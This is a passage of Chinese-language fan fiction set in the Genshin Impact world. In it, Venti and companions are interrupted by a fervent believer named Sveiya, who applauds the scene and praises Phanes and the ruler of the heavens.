呜呜作响的穿堂风似乎都识趣得屏住了呼吸,仿佛整个世界都在等待神明的一个回答。 温迪张了张嘴,尚未回应,一个声音从远处传来,由远及近,还伴随着一阵稀稀拉拉的鼓掌声。 “多么诚挚的情感、多么宝贵的友谊——” 迪卢克和琴后退半步,将神明和龙护至身后,空向前半步,对来者试探性问道:“斯威亚?” “伟大的法涅斯大王啊,感谢您赋予您的信徒有幸观赏到如此宝贵的龙与神的友情,见证到如此珍贵的情感!” 斯威亚看起来已经完全陷入了自己的世界,湖蓝色的瞳孔里映着某种近乎狂热的光芒,双手在胸前交握: “怪不得时间会加速流逝,原来是为了让我别再将视线投往命运尚未发生的地点,是为了告诉我此地有更值得祂那蒙昧愚钝的信徒所驻足的美景啊!” “——赞颂伟大的高天之主宰!”